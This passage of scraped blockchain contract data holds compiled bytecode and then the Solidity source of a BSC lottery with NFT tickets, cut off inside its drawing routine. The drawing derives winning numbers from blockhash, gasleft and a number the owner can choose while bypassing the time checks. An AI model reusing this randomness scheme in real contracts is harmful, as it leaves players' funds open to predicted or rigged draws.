016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a905780601f10610a6557610100808354040283529160200191610a90565b820191906000526020600020905b815481529060010190602001808311610a7357829003601f168201915b505050505081565b6000610ae3600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fef565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6f600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fc5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b505050506040513d6020811015610d6c57600080fd5b8101908080519060200190929190505050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6757600080fd5b610f10600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc5565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc281611008565b50565b6000808284019050610fe5848210158015610fe05750838210155b6110dd565b8091505092915050565b6000610ffd838311156110dd565b818303905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156110da57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b8015156110e957600080fd5b505600a165627a7a72305820b17c39b5943487f9f701533aa781e8be92ff376226f0864a3ff57fe718ef4c9f0029
[ 14 ]
0xf294063cab0b48ff5d326bee6fe61b6949549688
/** *Submitted for verification at BscScan.com on 2021-03-22 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library EnumerableSet { struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library EnumerableMap { struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } function _length(Map storage map) private view returns (uint256) { return map._entries.length; } function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } library Counters { using SafeMath for uint256; struct Counter { uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity >=0.6.2 <0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity >=0.6.0 <0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } function baseURI() public view returns (string memory) { return _baseURI; } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } abstract contract Initializable { bool private _initialized; bool private _initializing; modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract LotteryOwnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function initOwner(address owner) internal { _owner = owner; emit OwnershipTransferred(address(0), owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract LotteryNFT is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; mapping (uint256 => uint8[4]) public lotteryInfo; mapping (uint256 => uint256) public lotteryAmount; mapping (uint256 => uint256) public issueIndex; mapping (uint256 => bool) public claimInfo; constructor() public ERC721("Atari Lottery Ticket", "ATRITK") {} function newLotteryItem(address player, uint8[4] memory _lotteryNumbers, uint256 _amount, uint256 _issueIndex) public onlyOwner returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(player, newItemId); lotteryInfo[newItemId] = _lotteryNumbers; lotteryAmount[newItemId] = _amount; issueIndex[newItemId] = _issueIndex; return newItemId; } function getLotteryNumbers(uint256 tokenId) external view returns (uint8[4] memory) { return lotteryInfo[tokenId]; } function getLotteryAmount(uint256 tokenId) external view returns (uint256) { return lotteryAmount[tokenId]; } function getLotteryIssueIndex(uint256 tokenId) external view returns (uint256) { return issueIndex[tokenId]; } function claimReward(uint256 tokenId) external onlyOwner { claimInfo[tokenId] = true; } function multiClaimReward(uint256[] memory _tokenIds) external onlyOwner { for (uint i = 0; i < _tokenIds.length; i++) { claimInfo[_tokenIds[i]] = true; } } function burn(uint256 tokenId) external onlyOwner { _burn(tokenId); } function getClaimStatus(uint256 tokenId) external view returns (bool) { return claimInfo[tokenId]; } } contract Lottery is LotteryOwnable, Initializable { using SafeMath for uint256; using SafeMath for uint8; using SafeERC20 for IERC20; uint8 constant keyLengthForEachBuy = 11; // Allocation for first/sencond/third reward uint8[3] public allocation; // The TOKEN to buy lottery IERC20 public atari; // The Lottery NFT for tickets LotteryNFT public lotteryNFT; // adminAddress address public adminAddress; // maxNumber uint8 public maxNumber; // minPrice, if decimal is not 18, please reset it uint256 public minPrice; //remain balance fro last game uint256 public remainBalance; // ================================= // issueId => winningNumbers[numbers] mapping (uint256 => uint8[4]) public historyNumbers; // issueId => [tokenId] mapping (uint256 => uint256[]) public lotteryInfo; // issueId => [totalAmount, firstMatchAmount, secondMatchingAmount, thirdMatchingAmount] mapping (uint256 => uint256[]) public historyAmount; // issueId => nomatch mapping (uint256 => uint256) public nomatch; // issueId => drawtime mapping (uint256 => uint256) public drawTimes; // issueId => trickyNumber => buyAmountSum mapping (uint256 => mapping(uint64 => uint256)) public userBuyAmountSum; // address => [tokenId] mapping (address => uint256[]) public userInfo; uint256 public issueIndex = 0; uint256 public totalAddresses = 0; uint256 public totalAmount = 0; uint256 public lastTimestamp; uint256 public nextPharse; uint256 public nextDraw; uint256 public DrawDuration; uint256 public ParseDuration; uint8[4] public winningNumbers; // default false bool public drawingPhase; // ================================= event Buy(address indexed user, uint256 tokenId); event Drawing(uint256 indexed issueIndex, uint8[4] winningNumbers); event Claim(address indexed user, uint256 tokenid, uint256 amount); event DevWithdraw(address indexed user, uint256 amount); event Reset(uint256 indexed issueIndex); event MultiClaim(address indexed user, uint256 amount); event MultiBuy(address indexed user, uint256 amount); constructor() public { } function initialize( IERC20 _atari, LotteryNFT _lottery, uint256 _minPrice, uint8 _maxNumber, address _owner, address _adminAddress ) public initializer { atari = _atari; lotteryNFT = _lottery; minPrice = _minPrice; maxNumber = _maxNumber; adminAddress = _adminAddress; lastTimestamp = block.timestamp; allocation = [70, 20, 10]; DrawDuration = 1 days; ParseDuration = 300; nextDraw=lastTimestamp.add(DrawDuration); nextPharse=nextDraw.sub(ParseDuration); initOwner(_owner); } uint8[4] private nullTicket = [0,0,0,0]; modifier onlyAdmin() { require(msg.sender == adminAddress, "admin: wut?"); _; } function drawed() public view returns(bool) { return winningNumbers[0] != 0; } function reset() external onlyAdmin { require(drawed(), "drawed?"); lastTimestamp = block.timestamp; totalAddresses = 0; totalAmount=0; winningNumbers[0]=0; winningNumbers[1]=0; winningNumbers[2]=0; winningNumbers[3]=0; drawingPhase = false; issueIndex = issueIndex +1; if(remainBalance>0) { internalBuy(remainBalance, nullTicket); } remainBalance = 0; nextDraw=lastTimestamp.add(DrawDuration); nextPharse=nextDraw.sub(ParseDuration); emit Reset(issueIndex); } function enterDrawingPhase() external { require(block.timestamp>=nextPharse||msg.sender==owner(),"not parse time"); require(!drawed(), 'drawed'); drawingPhase = true; } // add externalRandomNumber to prevent node validators exploiting function drawing(uint256 _externalRandomNumber) external { require(block.timestamp>=nextDraw||msg.sender==owner(),"not draw time"); require(!drawed(), "reset?"); require(drawingPhase, "enter drawing phase first"); bytes32 _structHash; uint256 _randomNumber; uint8 _maxNumber = maxNumber; bytes32 _blockhash = blockhash(block.number-1); // waste some gas fee here for (uint i = 0; i < 10; i++) { getTotalRewards(issueIndex); } uint256 gasleft = gasleft(); // 1 _structHash = keccak256( abi.encode( _blockhash, totalAddresses, gasleft, _externalRandomNumber ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[0]=uint8(_randomNumber); // 2 _structHash = keccak256( abi.encode( _blockhash, totalAmount, gasleft ) ); _randomNumber = uint256(_structHash); assembly {_randomNumber := add(mod(_randomNumber, _maxNumber),1)} winningNumbers[1]=uint8(_randomNumber); // 3 _structHash = keccak256( abi.encode( _blockhash, lastTimestamp, gasleft, _externalRandomNumber ) ); _randomNumber = 